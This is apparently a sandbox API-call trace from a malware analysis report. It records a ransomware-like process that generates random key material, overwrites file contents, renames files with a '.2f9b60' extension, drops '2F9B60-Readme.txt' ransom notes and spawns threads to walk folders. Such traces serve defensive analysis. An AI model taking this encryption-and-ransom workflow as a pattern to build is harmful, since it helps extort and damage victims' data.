[0183.799] ReadFile (in: hFile=0x2ac0, lpBuffer=0x3631f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3631fa28, lpOverlapped=0x0 | out: lpBuffer=0x3631f9e0*, lpNumberOfBytesRead=0x3631fa28*=0x4, lpOverlapped=0x0) returned 1 [0183.801] SetFilePointerEx (in: hFile=0x2ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33200 [0183.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d332f0 [0183.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33380 [0183.803] NtQuerySystemTime (in: CurrentTime=0x3631f920 | out: CurrentTime=0x3631f920*=132462177889078000) returned 0x0 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x743e6d6d [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x1e742d66 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x5bd4ce93 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x102a8c4d [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x2a31889c [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x2269cfc2 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x40773a78 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x400c0d5f [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x339d1695 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x395576f0 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x1e00dc15 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0xf40f0da [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x269ddb61 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x2832f0cd [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x368b8575 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x4fb6f057 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x5f2451f [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x2cc41b98 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x79d9fa14 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x3c30ee49 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x32e8120d [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x17fa6115 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x74a0030b [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x1ce59a76 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x1c72edea [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x65c3b82b [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x6c6be4 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x58e2e2cc [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x1c3741e0 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0xb097961 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x6dcd0414 [0183.803] RtlRandomEx (in: Seed=0x3631f910 | out: Seed=0x3631f910) returned 0x50652c46 [0183.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d333b0 [0183.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0183.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d333e0 [0183.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0183.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33380) returned 1 [0183.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33200) returned 1 [0183.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf20 [0183.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0183.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33200 [0183.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33200) returned 1 [0183.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42978ed0 [0183.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4297cae0 [0183.816] ReadFile (in: hFile=0x2ac0, lpBuffer=0x42978ed0, nNumberOfBytesToRead=0x359c, lpNumberOfBytesRead=0x3631f910, lpOverlapped=0x0 | out: lpBuffer=0x42978ed0*, lpNumberOfBytesRead=0x3631f910*=0x359c, lpOverlapped=0x0) returned 1 [0183.834] SetFilePointerEx (in: hFile=0x2ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.834] WriteFile (in: hFile=0x2ac0, lpBuffer=0x4297cae0*, nNumberOfBytesToWrite=0x359c, lpNumberOfBytesWritten=0x3631f914, lpOverlapped=0x0 | out: lpBuffer=0x4297cae0*, lpNumberOfBytesWritten=0x3631f914*=0x359c, lpOverlapped=0x0) returned 1 [0204.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74d0 [0204.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0204.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0204.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4297cae0) returned 1 [0204.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42978ed0) returned 1 [0204.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0204.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf20) returned 1 [0204.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1ce5bf20 [0204.753] SetFilePointerEx (in: hFile=0x2ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.753] WriteFile (in: hFile=0x2ac0, lpBuffer=0x188990*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x3631fa30, lpOverlapped=0x0 | out: lpBuffer=0x188990*, lpNumberOfBytesWritten=0x3631fa30*=0x12c, lpOverlapped=0x0) returned 1 [0215.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0215.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbb60 [0215.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205afb0 [0215.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205afb0) returned 1 [0215.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059f10 [0215.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205afb0 [0215.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205af80 [0215.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205af80) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbb60) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0215.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x75) returned 0x1cebbb60 [0215.802] sprintf (in: _Dest=0x1cebbb60, _Format="%c%c" | out: _Dest="77") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb62, _Format="%c%c" | out: _Dest="d9") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb64, _Format="%c%c" | out: _Dest="77") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb66, _Format="%c%c" | out: _Dest="cf") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb68, _Format="%c%c" | out: _Dest="b6") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb6a, _Format="%c%c" | out: _Dest="5e") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb6c, _Format="%c%c" | out: _Dest="db") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb6e, _Format="%c%c" | out: _Dest="1d") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb70, _Format="%c%c" | out: _Dest="04") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb72, _Format="%c%c" | out: _Dest="50") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb74, _Format="%c%c" | out: _Dest="39") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb76, _Format="%c%c" | out: _Dest="71") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb78, _Format="%c%c" | out: _Dest="09") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb7a, _Format="%c%c" | out: _Dest="56") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb7c, _Format="%c%c" | out: _Dest="62") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb7e, _Format="%c%c" | out: _Dest="c4") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb80, _Format="%c%c" | out: _Dest="c4") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb82, _Format="%c%c" | out: _Dest="8e") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb84, _Format="%c%c" | out: _Dest="cd") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb86, _Format="%c%c" | out: _Dest="bf") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb88, _Format="%c%c" | out: _Dest="da") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb8a, _Format="%c%c" | out: _Dest="3e") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb8c, _Format="%c%c" | out: _Dest="5b") returned 2 [0215.802] sprintf (in: _Dest=0x1cebbb8e, _Format="%c%c" | out: _Dest="98") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbb90, _Format="%c%c" | out: _Dest="36") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbb92, _Format="%c%c" | out: _Dest="dd") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbb94, _Format="%c%c" | out: _Dest="e5") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbb96, _Format="%c%c" | out: _Dest="8e") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbb98, _Format="%c%c" | out: _Dest="54") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbb9a, _Format="%c%c" | out: _Dest="e4") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbb9c, _Format="%c%c" | out: _Dest="22") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbb9e, _Format="%c%c" | out: _Dest="0e") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbba0, _Format="%c%c" | out: _Dest="af") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbba2, _Format="%c%c" | out: _Dest="70") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbba4, _Format="%c%c" | out: _Dest="9f") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbba6, _Format="%c%c" | out: _Dest="5a") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbba8, _Format="%c%c" | out: _Dest="a8") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbaa, _Format="%c%c" | out: _Dest="08") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbac, _Format="%c%c" | out: _Dest="84") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbae, _Format="%c%c" | out: _Dest="b1") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbb0, _Format="%c%c" | out: _Dest="55") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbb2, _Format="%c%c" | out: _Dest="b5") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbb4, _Format="%c%c" | out: _Dest="aa") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbb6, _Format="%c%c" | out: _Dest="5b") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbb8, _Format="%c%c" | out: _Dest="9f") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbba, _Format="%c%c" | out: _Dest="9d") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbbc, _Format="%c%c" | out: _Dest="5f") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbbe, _Format="%c%c" | out: _Dest="82") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbc0, _Format="%c%c" | out: _Dest="90") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbc2, _Format="%c%c" | out: _Dest="32") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbc4, _Format="%c%c" | out: _Dest="b1") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbc6, _Format="%c%c" | out: _Dest="f0") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbc8, _Format="%c%c" | out: _Dest="a5") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbca, _Format="%c%c" | out: _Dest="fb") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbcc, _Format="%c%c" | out: _Dest="6e") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbce, _Format="%c%c" | out: _Dest="92") returned 2 [0215.803] sprintf (in: _Dest=0x1cebbbd0, _Format="%c%c" | out: _Dest="bd") returned 2 [0215.804] sprintf (in: _Dest=0x1cebbbd2, _Format="%c%c" | out: _Dest="7b") returned 2 [0215.804] RtlInitAnsiString (in: DestinationString=0x3631faa8, SourceString="77d977cfb65edb1d04503971095662c4c48ecdbfda3e5b9836dde58e54e4220eaf709f5aa80884b155b5aa5b9f9d5f829032b1f0a5fb6e92bd7b" | out: DestinationString="77d977cfb65edb1d04503971095662c4c48ecdbfda3e5b9836dde58e54e4220eaf709f5aa80884b155b5aa5b9f9d5f829032b1f0a5fb6e92bd7b") [0215.804] RtlAnsiStringToUnicodeString (in: DestinationString=0x3631fa78, SourceString="77d977cfb65edb1d04503971095662c4c48ecdbfda3e5b9836dde58e54e4220eaf709f5aa80884b155b5aa5b9f9d5f829032b1f0a5fb6e92bd7b", AllocateDestinationString=1 | out: DestinationString="77d977cfb65edb1d04503971095662c4c48ecdbfda3e5b9836dde58e54e4220eaf709f5aa80884b155b5aa5b9f9d5f829032b1f0a5fb6e92bd7b") returned 0x0 [0215.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78e780 [0215.804] wcscat (in: _Dest=0x4310b900, _Source="77d977cfb65edb1d0450397109566" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\77d977cfb65edb1d0450397109566") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\77d977cfb65edb1d0450397109566" [0215.804] wcscat (in: _Dest=0x4310b900, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\77d977cfb65edb1d0450397109566.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\77d977cfb65edb1d0450397109566.2f9b60" [0215.805] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\77d977cfb65edb1d0450397109566.2f9b60", NtPathName=0x3631fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\77d977cfb65edb1d0450397109566.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xde) returned 0x1b7997f0 [0219.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7997f0) returned 1 [0219.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b6830) returned 1 [0219.505] NtQueryInformationFile (in: FileHandle=0x2ac0, IoStatusBlock=0x3631fab8, FileInformation=0x3631fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3631fab8, FileInformation=0x3631fac8) returned 0x0 [0219.505] NtSetInformationFile (FileHandle=0x2ac0, IoStatusBlock=0x3631fab8, FileInformation=0x3631fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310b900) returned 1 [0222.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78e780) returned 1 [0222.522] FlushFileBuffers (hFile=0x2ac0) returned 1 [0222.593] CloseHandle (hObject=0x2ac0) returned 1 [0224.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431f27d0 [0224.444] wcscpy (in: _Dest=0x431f27d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\" [0224.444] wcscat (in: _Dest=0x431f27d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\2F9B60-Readme.txt" [0224.444] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\2f9b60-readme.txt")) returned 0xffffffff [0224.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b18 [0224.977] WriteFile (in: hFile=0x1b18, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3631f970, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3631f970*=0xba9, lpOverlapped=0x0) returned 1 [0225.528] CloseHandle (hObject=0x1b18) returned 1 [0226.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f27d0) returned 1 [0226.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107e40) returned 1 Thread: id = 3453 os_tid = 0x1de4 [0172.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c22360 [0172.841] wcscpy (in: _Dest=0x42c22360, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" [0172.841] wcscat (in: _Dest=0x42c22360, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\" [0172.841] wcscat (in: _Dest=0x42c22360, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*" [0172.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0172.841] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced57a0 [0172.843] wcscmp (_String1=".", _String2=".") returned 0 [0172.843] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.843] wcscmp (_String1="..", _String2=".") returned 1 [0172.843] wcscmp (_String1="..", _String2="..") returned 0 [0172.843] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 1 [0172.843] wcscmp (_String1="WelcomeFax.tif", _String2=".") returned 1 [0172.843] wcscmp (_String1="WelcomeFax.tif", _String2="..") returned 1 [0172.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x2050c190 [0172.844] wcscpy (in: _Dest=0x2050c190, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US" [0172.844] wcscat (in: _Dest=0x2050c190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\" [0172.844] wcscat (in: _Dest=0x2050c190, _Source="WelcomeFax.tif" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" [0172.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050c190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac8 [0172.869] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x15dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeFax.tif", cAlternateFileName="")) returned 0 [0172.870] FindClose (in: hFindFile=0x1ced57a0 | out: hFindFile=0x1ced57a0) returned 1 [0172.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd600b0) returned 1 [0172.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22360) returned 1 [0172.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3220) returned 1 Thread: id = 3454 os_tid = 0x1de0 [0172.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20508a90 [0172.846] wcscpy (in: _Dest=0x20508a90, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" [0172.846] wcscat (in: _Dest=0x20508a90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\" [0172.846] wcscat (in: _Dest=0x20508a90, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*" [0172.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd611c0 [0172.846] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5800 [0172.847] wcscmp (_String1=".", _String2=".") returned 0 [0172.847] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.847] wcscmp (_String1="..", _String2=".") returned 1 [0172.847] wcscmp (_String1="..", _String2="..") returned 0 [0172.847] FindNextFileW (in: hFindFile=0x1ced5800, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x28aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="confident.cov", cAlternateFileName="")) returned 1 [0172.847] wcscmp (_String1="confident.cov", _String2=".") 